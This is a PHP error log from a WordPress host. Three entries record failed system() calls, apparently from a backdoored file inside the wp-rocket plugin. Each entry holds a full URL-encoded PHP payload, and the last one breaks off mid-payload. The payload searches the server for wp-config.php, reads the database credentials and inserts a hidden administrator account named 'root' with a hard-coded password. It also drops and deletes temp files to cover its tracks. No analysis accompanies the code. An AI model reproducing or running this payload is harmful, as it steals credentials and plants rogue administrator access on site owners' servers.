[07-Nov-2025 10:52:50 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.parle_tokens&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[08-Nov-2025 04:37:43 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.uconvert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[08-Nov-2025 10:41:05 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2